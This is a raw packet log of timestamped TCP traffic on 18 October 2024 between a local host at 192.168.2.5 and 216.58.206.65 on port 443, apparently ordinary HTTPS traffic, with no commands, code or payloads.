Oct 18, 2024 15:05:00.671163082 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:00.715409040 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.354027987 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.354125023 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.363024950 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.363137960 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.474550009 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.474679947 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.474848032 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.474848032 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.474886894 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.474944115 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.475065947 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.475123882 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.475132942 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.475188971 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.479290962 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.479348898 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.479393959 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.479446888 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.487970114 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.488034964 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.488046885 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.488096952 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.496855974 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.496928930 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.496939898 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.496994972 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.505609989 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.505640984 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.505660057 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.505672932 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.505686998 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.505731106 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.514470100 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.514528036 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.514540911 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.514588118 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.523345947 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.523422003 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.523431063 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.523478985 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.532193899 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.532268047 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.532279015 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.532327890 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.595102072 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595164061 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595185041 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595205069 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595226049 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595376968 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.595376968 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.595376968 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.595424891 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.595478058 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.595947981 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596009016 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.596018076 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596066952 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.596254110 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596306086 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.596359968 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596404076 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.596410990 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596457005 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.596842051 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.596900940 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.599422932 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.599495888 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.599514961 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.599565983 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.605266094 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.605354071 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.605365992 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.605422020 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.610884905 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.610928059 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.610955954 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.610991001 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.611008883 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.611038923 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.616491079 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.616583109 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.616622925 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.616669893 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.622229099 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.622287035 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.622318029 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.622365952 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.627985001 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.628066063 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.630764008 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.630834103 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.630862951 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.630913973 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.636626959 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.636730909 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.636768103 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.636833906 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.642342091 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.642425060 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.642456055 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.642508984 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.648051023 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.648125887 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.648144007 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.648196936 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.653819084 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.653894901 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.653927088 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.653980970 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.659502029 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.659559011 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.659589052 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.659636974 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.665045023 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.665101051 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.665128946 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.665175915 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.670737028 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.670804977 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.670830011 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.670878887 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.676420927 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.676491976 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715198994 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715256929 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715284109 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715306044 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715303898 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715351105 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715375900 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715375900 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715404034 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715524912 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715560913 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715584993 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715595007 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.715614080 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.715651989 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716006994 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716042995 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716048956 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716058016 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716087103 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716120005 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716125965 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716187000 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716717005 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716751099 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716778994 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716788054 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.716801882 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.716839075 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.719877005 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.719943047 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.719950914 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.719995022 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.725055933 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.725131989 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.725155115 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.725209951 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.728441000 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.728507042 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.728516102 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.728564024 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.731563091 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.731621027 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.731630087 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.731683969 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.734803915 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.734862089 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.735229015 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.735282898 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.738132000 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.738188028 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.738399029 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.738442898 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.741354942 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.741404057 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.741449118 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.741496086 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.744596004 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.744647980 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.744657040 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.744708061 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.747638941 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.747692108 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.747699022 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.747747898 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.750848055 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.750906944 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.750916004 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.750976086 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.753942966 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.754004955 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.754013062 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.754060984 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.759696007 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.759763002 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.759780884 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.759838104 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.760556936 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.760617018 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.760742903 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.760788918 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.763788939 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.763839960 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.763864994 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.763915062 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.765589952 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.765678883 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.765697956 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.765744925 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.768495083 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.768547058 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.768556118 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.768603086 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.771356106 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.771421909 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.771507025 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.771560907 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.774218082 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.774272919 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.774281979 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.774333954 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.777045012 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.777096987 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.777110100 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.777158976 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.779834986 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.779891968 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.779901028 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.779953003 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.782649040 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.782701015 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.782721043 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.782768965 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.785376072 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.785434961 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.785444975 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.785491943 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.788419008 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.788476944 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.788486958 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.788537979 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.790918112 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.790982962 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.790996075 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.791429043 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.793518066 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.793582916 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.793593884 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.793644905 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.796096087 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.796149015 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.796163082 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.796222925 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.798620939 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.798681021 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.798748970 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.798873901 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.801296949 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.801359892 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.801399946 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.801450014 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.804151058 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.804207087 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.804220915 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.804241896 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.804269075 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.804303885 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.806655884 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.806709051 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.806735992 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.806782007 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.809374094 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.809437990 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.809458971 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.809508085 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.811866045 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.811917067 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835259914 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835306883 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835323095 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835333109 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835347891 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835351944 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835406065 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835506916 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835555077 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835700035 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835751057 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835820913 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835875034 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.835887909 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.835971117 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.836137056 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836183071 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.836189985 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836218119 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836239100 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.836242914 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836255074 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836272955 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.836313963 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.836322069 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.836384058 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837079048 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837116957 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837125063 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837132931 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837152958 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837162018 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837208986 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837217093 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837265015 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837663889 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837713957 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.837728977 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.837774038 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.838324070 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.838368893 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.838376045 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.838424921 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.840389967 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.840439081 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.840447903 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.840493917 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.842648029 CEST	443	49937	216.58.206.65	192.168.2.5
Oct 18, 2024 15:05:03.842700958 CEST	49937	443	192.168.2.5	216.58.206.65
Oct 18, 2024 15:05:03.842771053 CEST	443	49937	216.58.206.65	192.168.2.5
